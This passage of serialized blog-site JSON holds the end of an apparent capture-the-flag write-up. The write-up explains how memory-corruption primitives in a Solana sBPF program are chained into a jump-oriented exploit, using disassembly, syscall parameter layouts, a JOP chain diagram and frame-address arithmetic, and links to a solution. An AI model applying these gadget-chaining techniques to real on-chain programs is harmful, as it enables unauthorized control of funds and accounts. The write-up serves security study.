79a2b8ff00000000",{"type":25,"tag":271,"props":57870,"children":57871},{"style":13598},[57872],{"type":30,"value":57241},{"type":25,"tag":271,"props":57874,"children":57875},{"style":13598},[57876],{"type":30,"value":57246},{"type":25,"tag":271,"props":57878,"children":57879},{"style":13625},[57880],{"type":30,"value":57251},{"type":25,"tag":271,"props":57882,"children":57883},{"style":13598},[57884],{"type":30,"value":57256},{"type":25,"tag":271,"props":57886,"children":57887},{"style":13603},[57888],{"type":30,"value":17459},{"type":25,"tag":271,"props":57890,"children":57891},{"style":16187},[57892],{"type":30,"value":57893},"72",{"type":25,"tag":271,"props":57895,"children":57896},{"style":13625},[57897],{"type":30,"value":57270},{"type":25,"tag":271,"props":57899,"children":57900},{"style":13598},[57901],{"type":30,"value":57902},"var_48",{"type":25,"tag":271,"props":57904,"children":57905},{"style":13625},[57906],{"type":30,"value":17058},{"type":25,"tag":271,"props":57908,"children":57909},{"class":13593,"line":16841},[57910,57915,57920,57925,57929,57933,57937,57941,57945,57949],{"type":25,"tag":271,"props":57911,"children":57912},{"style":13598},[57913],{"type":30,"value":57914},"100001c18",{"type":25,"tag":271,"props":57916,"children":57917},{"style":16187},[57918],{"type":30,"value":57919},"  1502040000000000",{"type":25,"tag":271,"props":57921,"children":57922},{"style":13598},[57923],{"type":30,"value":57924},"   jeq",{"type":25,"tag":271,"props":57926,"children":57927},{"style":13625},[57928],{"type":30,"value":21839},{"type":25,"tag":271,"props":57930,"children":57931},{"style":13603},[57932],{"type":30,"value":2074},{"type":25,"tag":271,"props":57934,"children":57935},{"style":16187},[57936],{"type":30,"value":30650},{"type":25,"tag":271,"props":57938,"children":57939},{"style":13625},[57940],{"type":30,"value":18952},{"type":25,"tag":271,"props":57942,"children":57943},{"style":13598},[57944],{"type":30,"value":57622},{"type":25,"tag":271,"props":57946,"children":57947},{"style":13625},[57948],{"type":30,"value":44},{"type":25,"tag":271,"props":57950,"children":57951},{"style":16187},[57952],{"type":30,"value":57505},{"type":25,"tag":271,"props":57954,"children":57955},{"class":13593,"line":16907},[57956],{"type":25,"tag":271,"props":57957,"children":57958},{"emptyLinePlaceholder":18},[57959],{"type":30,"value":16829},{"type":25,"tag":271,"props":57961,"children":57962},{"class":13593,"line":16915},[57963,57968,57973,57978,57982,57986],{"type":25,"tag":271,"props":57964,"children":57965},{"style":13598},[57966],{"type":30,"value":57967},"100001c20",{"type":25,"tag":271,"props":57969,"children":57970},{"style":16187},[57971],{"type":30,"value":57972},"  2702000022000000",{"type":25,"tag":271,"props":57974,"children":57975},{"style":13598},[57976],{"type":30,"value":57977},"   mul",{"type":25,"tag":271,"props":57979,"children":57980},{"style":13598},[57981],{"type":30,"value":57246},{"type":25,"tag":271,"props":57983,"children":57984},{"style":13625},[57985],{"type":30,"value":44},{"type":25,"tag":271,"props":57987,"children":57988},{"style":16187},[57989],{"type":30,"value":57990},"0x22\n",{"type":25,"tag":271,"props":57992,"children":57993},{"class":13593,"line":16945},[57994,57999,58004,58008,58012,58016,58020,58024,58029,58033,58038],{"type":25,"tag":271,"props":57995,"children":57996},{"style":13598},[57997],{"type":30,"value":57998},"100001c28",{"type":25,"tag":271,"props":58000,"children":58001},{"style":13598},[58002],{"type":30,"value":58003},"  79a1b0ff00000000",{"type":25,"tag":271,"props":58005,"children":58006},{"style":13598},[58007],{"type":30,"value":57241},{"type":25,"tag":271,"props":58009,"children":58010},{"style":13598},[58011],{"type":30,"value":57535},{"type":25,"tag":271,"props":58013,"children":58014},{"style":13625},[58015],{"type":30,"value":57251},{"type":25,"tag":271,"props":58017,"children":58018},{"style":13598},[58019],{"type":30,"value":57256},{"type":25,"tag":271,"props":58021,"children":58022},{"style":13603},[58023],{"type":30,"value":17459},{"type":25,"tag":271,"props":58025,"children":58026},{"style":16187},[58027],{"type":30,"value":58028},"80",{"type":25,"tag":271,"props":58030,"children":58031},{"style":13625},[58032],{"type":30,"value":57270},{"type":25,"tag":271,"props":58034,"children":58035},{"style":13598},[58036],{"type":30,"value":58037},"var_50",{"type":25,"tag":271,"props":58039,"children":58040},{"style":13625},[58041],{"type":30,"value":17058},{"type":25,"tag":271,"props":58043,"children":58044},{"class":13593,"line":16953},[58045,58050,58055,58059,58063,58067],{"type":25,"tag":271,"props":58046,"children":58047},{"style":13598},[58048],{"type":30,"value":58049},"100001c30",{"type":25,"tag":271,"props":58051,"children":58052},{"style":13598},[58053],{"type":30,"value":58054},"  b703000001000000",{"type":25,"tag":271,"props":58056,"children":58057},{"style":13598},[58058],{"type":30,"value":57530},{"type":25,"tag":271,"props":58060,"children":58061},{"style":13598},[58062],{"type":30,"value":57301},{"type":25,"tag":271,"props":58064,"children":58065},{"style":13625},[58066],{"type":30,"value":44},{"type":25,"tag":271,"props":58068,"children":58069},{"style":16187},[58070],{"type":30,"value":58071},"0x1\n",{"type":25,"tag":271,"props":58073,"children":58074},{"class":13593,"line":16984},[58075,58080,58085,58089],{"type":25,"tag":271,"props":58076,"children":58077},{"style":13598},[58078],{"type":30,"value":58079},"100001c38",{"type":25,"tag":271,"props":58081,"children":58082},{"style":13598},[58083],{"type":30,"value":58084},"  8510000003feffff",{"type":25,"tag":271,"props":58086,"children":58087},{"style":13598},[58088],{"type":30,"value":57452},{"type":25,"tag":271,"props":58090,"children":58091},{"style":13598},[58092],{"type":30,"value":58093}," __rust_dealloc\n",{"type":25,"tag":271,"props":58095,"children":58096},{"class":13593,"line":16992},[58097],{"type":25,"tag":271,"props":58098,"children":58099},{"emptyLinePlaceholder":18},[58100],{"type":30,"value":16829},{"type":25,"tag":271,"props":58102,"children":58103},{"class":13593,"line":17052},[58104,58109,58114,58118,58122,58126,58130,58134,58139,58143,58148],{"type":25,"tag":271,"props":58105,"children":58106},{"style":13598},[58107],{"type":30,"value":58108},"100001c40",{"type":25,"tag":271,"props":58110,"children":58111},{"style":13598},[58112],{"type":30,"value":58113},"  79a2d0ff00000000",{"type":25,"tag":271,"props":58115,"children":58116},{"style":13598},[58117],{"type":30,"value":57241},{"type":25,"tag":271,"props":58119,"children":58120},{"style":13598},[58121],{"type":30,"value":57246},{"type":25,"tag":271,"props":58123,"children":58124},{"style":13625},[58125],{"type":30,"value":57251},{"type":25,"tag":271,"props":58127,"children":58128},{"style":13598},[58129],{"type":30,"value":57256},{"type":25,"tag":271,"props":58131,"children":58132},{"style":13603},[58133],{"type":30,"value":17459},{"type":25,"tag":271,"props":58135,"children":58136},{"style":16187},[58137],{"type":30,"value":58138},"48",{"type":25,"tag":271,"props":58140,"children":58141},{"style":13625},[58142],{"type":30,"value":57270},{"type":25,"tag":271,"props":58144,"children":58145},{"style":13598},[58146],{"type":30,"value":58147},"var_30",{"type":25,"tag":271,"props":58149,"children":58150},{"style":13625},[58151],{"type":30,"value":17058},{"type":25,"tag":271,"props":58153,"children":58154},{"class":13593,"line":22168},[58155,58160,58165,58169,58173,58177,58181,58185,58189,58193],{"type":25,"tag":271,"props":58156,"children":58157},{"style":13598},[58158],{"type":30,"value":58159},"100001c48",{"type":25,"tag":271,"props":58161,"children":58162},{"style":16187},[58163],{"type":30,"value":58164},"  1502030000000000",{"type":25,"tag":271,"props":58166,"children":58167},{"style":13598},[58168],{"type":30,"value":57924},{"type":25,"tag":271,"props":58170,"children":58171},{"style":13625},[58172],{"type":30,"value":21839},{"type":25,"tag":271,"props":58174,"children":58175},{"style":13603},[58176],{"type":30,"value":2074},{"type":25,"tag":271,"props":58178,"children":58179},{"style":16187},[58180],{"type":30,"value":7711},{"type":25,"tag":271,"props":58182,"children":58183},{"style":13625},[58184],{"type":30,"value":18952},{"type":25,"tag":271,"props":58186,"children":58187},{"style":13598},[58188],{"type":30,"value":57622},{"type":25,"tag":271,"props":58190,"children":58191},{"style":13625},[58192],{"type":30,"value":44},{"type":25,"tag":271,"props":58194,"children":58195},{"style":16187},[58196],{"type":30,"value":57505},{"type":25,"tag":271,"props":58198,"children":58199},{"class":13593,"line":22186},[58200],{"type":25,"tag":271,"props":58201,"children":58202},{"emptyLinePlaceholder":18},[58203],{"type":30,"value":16829},{"type":25,"tag":271,"props":58205,"children":58206},{"class":13593,"line":22231},[58207,58212,58217,58221,58225,58229,58233,58237,58242,58246,58251],{"type":25,"tag":271,"props":58208,"children":58209},{"style":13598},[58210],{"type":30,"value":58211},"100001c50",{"type":25,"tag":271,"props":58213,"children":58214},{"style":13598},[58215],{"type":30,"value":58216},"  79a1c8ff00000000",{"type":25,"tag":271,"props":58218,"children":58219},{"style":13598},[58220],{"type":30,"value":57241},{"type":25,"tag":271,"props":58222,"children":58223},{"style":13598},[58224],{"type":30,"value":57535},{"type":25,"tag":271,"props":58226,"children":58227},{"style":13625},[58228],{"type":30,"value":57251},{"type":25,"tag":271,"props":58230,"children":58231},{"style":13598},[58232],{"type":30,"value":57256},{"type":25,"tag":271,"props":58234,"children":58235},{"style":13603},[58236],{"type":30,"value":17459},{"type":25,"tag":271,"props":58238,"children":58239},{"style":16187},[58240],{"type":30,"value":58241},"56",{"type":25,"tag":271,"props":58243,"children":58244},{"style":13625},[58245],{"type":30,"value":57270},{"type":25,"tag":271,"props":58247,"children":58248},{"style":13598},[58249],{"type":30,"value":58250},"var_38",{"type":25,"tag":271,"props":58252,"children":58253},{"style":13625},[58254],{"type":30,"value":17058},{"type":25,"tag":271,"props":58256,"children":58257},{"class":13593,"line":22337},[58258,58263,58267,58271,58275,58279],{"type":25,"tag":271,"props":58259,"children":58260},{"style":13598},[58261],{"type":30,"value":58262},"100001c58",{"type":25,"tag":271,"props":58264,"children":58265},{"style":13598},[58266],{"type":30,"value":58054},{"type":25,"tag":271,"props":58268,"children":58269},{"style":13598},[58270],{"type":30,"value":57530},{"type":25,"tag":271,"props":58272,"children":58273},{"style":13598},[58274],{"type":30,"value":57301},{"type":25,"tag":271,"props":58276,"children":58277},{"style":13625},[58278],{"type":30,"value":44},{"type":25,"tag":271,"props":58280,"children":58281},{"style":16187},[58282],{"type":30,"value":58071},{"type":25,"tag":271,"props":58284,"children":58285},{"class":13593,"line":36608},[58286,58291,58296,58300],{"type":25,"tag":271,"props":58287,"children":58288},{"style":13598},[58289],{"type":30,"value":58290},"100001c60",{"type":25,"tag":271,"props":58292,"children":58293},{"style":13598},[58294],{"type":30,"value":58295},"  85100000fefdffff",{"type":25,"tag":271,"props":58297,"children":58298},{"style":13598},[58299],{"type":30,"value":57452},{"type":25,"tag":271,"props":58301,"children":58302},{"style":13598},[58303],{"type":30,"value":58093},{"type":25,"tag":271,"props":58305,"children":58306},{"class":13593,"line":36643},[58307],{"type":25,"tag":271,"props":58308,"children":58309},{"emptyLinePlaceholder":18},[58310],{"type":30,"value":16829},{"type":25,"tag":271,"props":58312,"children":58313},{"class":13593,"line":36651},[58314,58319,58324,58329,58334,58339],{"type":25,"tag":271,"props":58315,"children":58316},{"style":13598},[58317],{"type":30,"value":58318},"100001c68",{"type":25,"tag":271,"props":58320,"children":58321},{"style":16187},[58322],{"type":30,"value":58323},"  9500000000000000",{"type":25,"tag":271,"props":58325,"children":58326},{"style":13598},[58327],{"type":30,"value":58328},"   exit",{"type":25,"tag":271,"props":58330,"children":58331},{"style":13625},[58332],{"type":30,"value":58333}," {",{"type":25,"tag":271,"props":58335,"children":58336},{"style":13598},[58337],{"type":30,"value":58338},"__return_addr",{"type":25,"tag":271,"props":58340,"children":58341},{"style":13625},[58342],{"type":30,"value":17058},{"type":25,"tag":26,"props":58344,"children":58345},{},[58346,58348,58354],{"type":30,"value":58347},"Which, assuming that ",{"type":25,"tag":264,"props":58349,"children":58351},{"className":58350},[],[58352],{"type":30,"value":58353},"sol_invoke_signed_rust",{"type":30,"value":58355}," returns 0, is doing the following:",{"type":25,"tag":661,"props":58357,"children":58358},{},[58359,58368,58377],{"type":25,"tag":112,"props":58360,"children":58361},{},[58362],{"type":25,"tag":264,"props":58363,"children":58365},{"className":58364},[],[58366],{"type":30,"value":58367},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":25,"tag":112,"props":58369,"children":58370},{},[58371],{"type":25,"tag":264,"props":58372,"children":58374},{"className":58373},[],[58375],{"type":30,"value":58376},"*[r10-120] = 0x18",{"type":25,"tag":112,"props":58378,"children":58379},{},[58380,58382,58388,58390,58397],{"type":30,"value":58381},"Calls ",{"type":25,"tag":264,"props":58383,"children":58385},{"className":58384},[],[58386],{"type":30,"value":58387},"__rust_dealloc",{"type":30,"value":58389},", which in default circumstances is a ",{"type":25,"tag":83,"props":58391,"children":58394},{"href":58392,"rel":58393},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[9066],[58395],{"type":30,"value":58396},"NOP",{"type":30,"value":1860},{"type":25,"tag":26,"props":58399,"children":58400},{},[58401],{"type":30,"value":58402},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":25,"tag":26,"props":58404,"children":58405},{},[58406],{"type":30,"value":58407},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":25,"tag":26,"props":58409,"children":58410},{},[58411,58413,58420],{"type":30,"value":58412},"Looking at the ",{"type":25,"tag":83,"props":58414,"children":58417},{"href":58415,"rel":58416},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[9066],[58418],{"type":30,"value":58419},"definition",{"type":30,"value":58421},", it's not crystal clear what the parameters are:",{"type":25,"tag":7764,"props":58423,"children":58425},{"className":13586,"code":58424,"language":13585,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[58426],{"type":25,"tag":264,"props":58427,"children":58428},{"__ignoreMap":7},[58429],{"type":25,"tag":271,"props":58430,"children":58431},{"class":13593,"line":13594},[58432,58436,58441,58445,58450,58454,58458,58462,58466,58470,58475,58479,58483,58487,58491,58495,58500,58504,58508,58512,58517,58521,58525,58529,58533,58537,58542,58546,58550,58554,58558],{"type":25,"tag":271,"props":58433,"children":58434},{"style":14289},[58435],{"type":30,"value":33387},{"type":25,"tag":271,"props":58437,"children":58438},{"style":13620},[58439],{"type":30,"value":58440}," sol_invoke_signed_rust",{"type":25,"tag":271,"props":58442,"children":58443},{"style":13625},[58444],{"type":30,"value":394},{"type":25,"tag":271,"props":58446,"children":58447},{"style":13598},[58448],{"type":30,"value":58449},"instruction_addr",{"type":25,"tag":271,"props":58451,"children":58452},{"style":13603},[58453],{"type":30,"value":359},{"type":25,"tag":271,"props":58455,"children":58456},{"style":13603},[58457],{"type":30,"value":22940},{"type":25,"tag":271,"props":58459,"children":58460},{"style":14289},[58461],{"type":30,"value":22778},{"type":25,"tag":271,"props":58463,"children":58464},{"style":13609},[58465],{"type":30,"value":27755},{"type":25,"tag":271,"props":58467,"children":58468},{"style":13625},[58469],{"type":30,"value":44},{"type":25,"tag":271,"props":58471,"children":58472},{"style":13598},[58473],{"type":30,"value":58474},"account_infos_addr",{"type":25,"tag":271,"props":58476,"children":58477},{"style":13603},[58478],{"type":30,"value":359},{"type":25,"tag":271,"props":58480,"children":58481},{"style":13603},[58482],{"type":30,"value":22940},{"type":25,"tag":271,"props":58484,"children":58485},{"style":14289},[58486],{"type":30,"value":22778},{"type":25,"tag":271,"props":58488,"children":58489},{"style":13609},[58490],{"type":30,"value":27755},{"type":25,"tag":271,"props":58492,"children":58493},{"style":13625},[58494],{"type":30,"value":44},{"type":25,"tag":271,"props":58496,"children":58497},{"style":13598},[58498],{"type":30,"value":58499},"account_infos_len",{"type":25,"tag":271,"props":58501,"children":58502},{"style":13603},[58503],{"type":30,"value":359},{"type":25,"tag":271,"props":58505,"children":58506},{"style":13609},[58507],{"type":30,"value":18991},{"type":25,"tag":271,"props":58509,"children":58510},{"style":13625},[58511],{"type":30,"value":44},{"type":25,"tag":271,"props":58513,"children":58514},{"style":13598},[58515],{"type":30,"value":58516},"signers_seeds_addr",{"type":25,"tag":271,"props":58518,"children":58519},{"style":13603},[58520],{"type":30,"value":359},{"type":25,"tag":271,"props":58522,"children":58523},{"style":13603},[58524],{"type":30,"value":22940},{"type":25,"tag":271,"props":58526,"children":58527},{"style":14289},[58528],{"type":30,"value":22778},{"type":25,"tag":271,"props":58530,"children":58531},{"style":13609},[58532],{"type":30,"value":27755},{"type":25,"tag":271,"props":58534,"children":58535},{"style":13625},[58536],{"type":30,"value":44},{"type":25,"tag":271,"props":58538,"children":58539},{"style":13598},[58540],{"type":30,"value":58541},"signers_seeds_len",{"type":25,"tag":271,"props":58543,"children":58544},{"style":13603},[58545],{"type":30,"value":359},{"type":25,"tag":271,"props":58547,"children":58548},{"style":13609},[58549],{"type":30,"value":18991},{"type":25,"tag":271,"props":58551,"children":58552},{"style":13625},[58553],{"type":30,"value":14406},{"type":25,"tag":271,"props":58555,"children":58556},{"style":13603},[58557],{"type":30,"value":14411},{"type":25,"tag":271,"props":58559,"children":58560},{"style":13609},[58561],{"type":30,"value":26322},{"type":25,"tag":26,"props":58563,"children":58564},{},[58565,58567,58572,58574,58581],{"type":30,"value":58566},"The source of ",{"type":25,"tag":83,"props":58568,"children":58570},{"href":58569},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[58571],{"type":30,"value":57182},{"type":30,"value":58573}," helps a lot, but looking at the actual ",{"type":25,"tag":83,"props":58575,"children":58578},{"href":58576,"rel":58577},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[9066],[58579],{"type":30,"value":58580},"implementation",{"type":30,"value":58582}," provides more clarity:",{"type":25,"tag":108,"props":58584,"children":58585},{},[58586],{"type":25,"tag":112,"props":58587,"children":58588},{},[58589,58594,58596,58603],{"type":25,"tag":264,"props":58590,"children":58592},{"className":58591},[],[58593],{"type":30,"value":58449},{"type":30,"value":58595}," points to a ",{"type":25,"tag":83,"props":58597,"children":58600},{"href":58598,"rel":58599},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[9066],[58601],{"type":30,"value":58602},"StableInstruction",{"type":30,"value":359},{"type":25,"tag":26,"props":58605,"children":58606},{},[58607],{"type":25,"tag":698,"props":58608,"children":58610},{"alt":58602,"src":58609},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":25,"tag":108,"props":58612,"children":58613},{},[58614,58639],{"type":25,"tag":112,"props":58615,"children":58616},{},[58617,58622,58624,58629,58631,58638],{"type":25,"tag":264,"props":58618,"children":58620},{"className":58619},[],[58621],{"type":30,"value":58474},{"type":30,"value":58623}," points to a slice of ",{"type":25,"tag":264,"props":58625,"children":58627},{"className":58626},[],[58628],{"type":30,"value":58499},{"type":30,"value":58630},"  ",{"type":25,"tag":83,"props":58632,"children":58635},{"href":58633,"rel":58634},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[9066],[58636],{"type":30,"value":58637},"AccountInfos",{"type":30,"value":1860},{"type":25,"tag":112,"props":58640,"children":58641},{},[58642,58647,58649,58654,58656,58661],{"type":25,"tag":264,"props":58643,"children":58645},{"className":58644},[],[58646],{"type":30,"value":58516},{"type":30,"value":58648}," is a bit trickier, it points to a slice of length ",{"type":25,"tag":264,"props":58650,"children":58652},{"className":58651},[],[58653],{"type":30,"value":58541},{"type":30,"value":58655},", containing slices of ",{"type":25,"tag":264,"props":58657,"children":58659},{"className":58658},[],[58660],{"type":30,"value":16567},{"type":30,"value":1860},{"type":25,"tag":26,"props":58663,"children":58664},{},[58665],{"type":25,"tag":698,"props":58666,"children":58669},{"alt":58667,"src":58668},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":25,"tag":26,"props":58671,"children":58672},{},[58673,58675,58680],{"type":30,"value":58674},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":25,"tag":10281,"props":58676,"children":58677},{},[58678],{"type":30,"value":58679},"future call frames",{"type":30,"value":1860},{"type":25,"tag":26,"props":58682,"children":58683},{},[58684,58686,58693],{"type":30,"value":58685},"Now that we have all the parts, all we need is to string it together. The full ",{"type":25,"tag":83,"props":58687,"children":58690},{"href":58688,"rel":58689},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[9066],[58691],{"type":30,"value":58692},"reference solution can be found here",{"type":30,"value":1860},{"type":25,"tag":26,"props":58695,"children":58696},{},[58697],{"type":30,"value":58698},"Here's a visualization of the final JOP chain.",{"type":25,"tag":7764,"props":58700,"children":58702},{"className":57064,"code":58701,"language":57066,"meta":7,"style":7},"graph BT\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n    C --> E[3: process]\n    E --> F[4: Write account_infos.len to target_r10 - 128]\n    E --> G[4: process]\n    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n    G --> I[5: process]\n    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n    I --> K[6: process]\n    K --> M[7: Write HeapBase to target_r10 - 120]\n    K --> N[7: process]\n    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n    N --> O[8: Write 0x4337 to the account]\n",[58703],{"type":25,"tag":264,"props":58704,"children":58705},{"__ignoreMap":7},[58706,58714,58721,58728,58736,58743,58751,58759,58767,58775,58783,58791,58799,58807,58815],{"type":25,"tag":271,"props":58707,"children":58708},{"class":13593,"line":13594},[58709],{"type":25,"tag":271,"props":58710,"children":58711},{},[58712],{"type":30,"value":58713},"graph BT\n",{"type":25,"tag":271,"props":58715,"children":58716},{"class":13593,"line":11641},[58717],{"type":25,"tag":271,"props":58718,"children":58719},{},[58720],{"type":30,"value":57086},{"type":25,"tag":271,"props":58722,"children":58723},{"class":13593,"line":14354},[58724],{"type":25,"tag":271,"props":58725,"children":58726},{},[58727],{"type":30,"value":57094},{"type":25,"tag":271,"props":58729,"children":58730},{"class":13593,"line":14391},[58731],{"type":25,"tag":271,"props":58732,"children":58733},{},[58734],{"type":30,"value":58735},"    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":25,"tag":271,"props":58737,"children":58738},{"class":13593,"line":14400},[58739],{"type":25,"tag":271,"props":58740,"children":58741},{},[58742],{"type":30,"value":57110},{"type":25,"tag":271,"props":58744,"children":58745},{"class":13593,"line":16406},[58746],{"type":25,"tag":271,"props":58747,"children":58748},{},[58749],{"type":30,"value":58750},"    E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":25,"tag":271,"props":58752,"children":58753},{"class":13593,"line":16434},[58754],{"type":25,"tag":271,"props":58755,"children":58756},{},[58757],{"type":30,"value":58758},"    E --> G[4: process]\n",{"type":25,"tag":271,"props":58760,"children":58761},{"class":13593,"line":16447},[58762],{"type":25,"tag":271,"props":58763,"children":58764},{},[58765],{"type":30,"value":58766},"    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":25,"tag":271,"props":58768,"children":58769},{"class":13593,"line":16465},[58770],{"type":25,"tag":271,"props":58771,"children":58772},{},[58773],{"type":30,"value":58774},"    G --> I[5: process]\n",{"type":25,"tag":271,"props":58776,"children":58777},{"class":13593,"line":16486},[58778],{"type":25,"tag":271,"props":58779,"children":58780},{},[58781],{"type":30,"value":58782},"    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":25,"tag":271,"props":58784,"children":58785},{"class":13593,"line":16495},[58786],{"type":25,"tag":271,"props":58787,"children":58788},{},[58789],{"type":30,"value":58790},"    I --> K[6: process]\n",{"type":25,"tag":271,"props":58792,"children":58793},{"class":13593,"line":16744},[58794],{"type":25,"tag":271,"props":58795,"children":58796},{},[58797],{"type":30,"value":58798},"    K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":25,"tag":271,"props":58800,"children":58801},{"class":13593,"line":16761},[58802],{"type":25,"tag":271,"props":58803,"children":58804},{},[58805],{"type":30,"value":58806},"    K --> N[7: process]\n",{"type":25,"tag":271,"props":58808,"children":58809},{"class":13593,"line":16778},[58810],{"type":25,"tag":271,"props":58811,"children":58812},{},[58813],{"type":30,"value":58814},"    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":25,"tag":271,"props":58816,"children":58817},{"class":13593,"line":16791},[58818],{"type":25,"tag":271,"props":58819,"children":58820},{},[58821],{"type":30,"value":58822},"    N --> O[8: Write 0x4337 to the account]\n",{"type":25,"tag":26,"props":58824,"children":58825},{},[58826,58828,58834],{"type":30,"value":58827},"Small note: ",{"type":25,"tag":264,"props":58829,"children":58831},{"className":58830},[],[58832],{"type":30,"value":58833},"target_r10",{"type":30,"value":58835}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":25,"tag":7764,"props":58837,"children":58839},{"className":13586,"code":58838,"language":13585,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n    0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[58840],{"type":25,"tag":264,"props":58841,"children":58842},{"__ignoreMap":7},[58843,58888,58923,58930],{"type":25,"tag":271,"props":58844,"children":58845},{"class":13593,"line":13594},[58846,58850,58855,58859,58864,58868,58872,58876,58880,58884],{"type":25,"tag":271,"props":58847,"children":58848},{"style":14289},[58849],{"type":30,"value":33387},{"type":25,"tag":271,"props":58851,"children":58852},{"style":13620},[58853],{"type":30,"value":58854}," call_frame_addr",{"type":25,"tag":271,"props":58856,"children":58857},{"style":13625},[58858],{"type":30,"value":394},{"type":25,"tag":271,"props":58860,"children":58861},{"style":13598},[58862],{"type":30,"value":58863},"depth",{"type":25,"tag":271,"props":58865,"children":58866},{"style":13603},[58867],{"type":30,"value":359},{"type":25,"tag":271,"props":58869,"children":58870},{"style":13609},[58871],{"type":30,"value":18991},{"type":25,"tag":271,"props":58873,"children":58874},{"style":13625},[58875],{"type":30,"value":14406},{"type":25,"tag":271,"props":58877,"children":58878},{"style":13603},[58879],{"type":30,"value":14411},{"type":25,"tag":271,"props":58881,"children":58882},{"style":13609},[58883],{"type":30,"value":18991},{"type":25,"tag":271,"props":58885,"children":58886},{"style":13625},[58887],{"type":30,"value":16431},{"type":25,"tag":271,"props":58889,"children":58890},{"class":13593,"line":11641},[58891,58896,58900,58905,58909,58914,58918],{"type":25,"tag":271,"props":58892,"children":58893},{"style":16187},[58894],{"type":30,"value":58895},"    0x200000000",{"type":25,"tag":271,"props":58897,"children":58898},{"style":13603},[58899],{"type":30,"value":22025},{"type":25,"tag":271,"props":58901,"children":58902},{"style":16187},[58903],{"type":30,"value":58904}," 0x2000",{"type":25,"tag":271,"props":58906,"children":58907},{"style":13603},[58908],{"type":30,"value":22940},{"type":25,"tag":271,"props":58910,"children":58911},{"style":13598},[58912],{"type":30,"value":58913}," depth",{"type":25,"tag":271,"props":58915,"children":58916},{"style":13603},[58917],{"type":30,"value":22025},{"type":25,"tag":271,"props":58919,"children":58920},{"style":16187},[58921],{"type":30,"value":58922}," 0x1000\n",{"type":25,"tag":271,"props":58924,"children":58925},{"class":13593,"line":14354},[58926],{"type":25,"tag":271,"props":58927,"children":58928},{"style":13625},[58929],{"type":30,"value":17058},{"type":25,"tag":271,"props":58931,"children":58932},{"class":13593,"line":14391},[58933],{"type":25,"tag":271,"props":58934,"children":58935},{"style":14385},[58936],{"type":30,"value":58937},"// call_frame_addr(8) = 0x200011000\n",{"type":25,"tag":96,"props":58939,"children":58940},{"id":42044},[58941],{"type":30,"value":32068},{"type":25,"tag":26,"props":58943,"children":58944},{},[58945,58947,58954],{"type":30,"value":58946},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":25,"tag":83,"props":58948,"children":58951},{"href":58949,"rel":58950},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[9066],[58952],{"type":30,"value":58953},"they do exist",{"type":30,"value":1860},{"type":25,"tag":26,"props":58956,"children":58957},{},[58958],{"type":30,"value":58959},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":25,"tag":26,"props":58961,"children":58962},{},[58963,58965,58970],{"type":30,"value":58964},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":25,"tag":10281,"props":58966,"children":58967},{},[58968],{"type":30,"value":58969},"entire",{"type":30,"value":58971}," runtime.",{"type":25,"tag":15963,"props":58973,"children":58974},{},[58975],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":58977},[58978,58982,58983,58986],{"id":32077,"depth":11641,"text":32080,"children":58979},[58980,58981],{"id":53652,"depth":14354,"text":53655},{"id":54971,"depth":14354,"text":54974},{"id":56210,"depth":11641,"text":56213},{"id":57046,"depth":11641,"text":57049,"children":58984},[58985],{"id":57160,"depth":14354,"text":57163},{"id":42044,"depth":11641,"text":32068},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":58991,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":58992,"description":58993,"author":58994,"image":58995,"date":58997,"isFeatured":18,"onBlogPage":18,"body":58998,"_type":16004,"_id":60143,"_source":16006,"_file":60144,"_stem":60145,"_extension":16009},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide 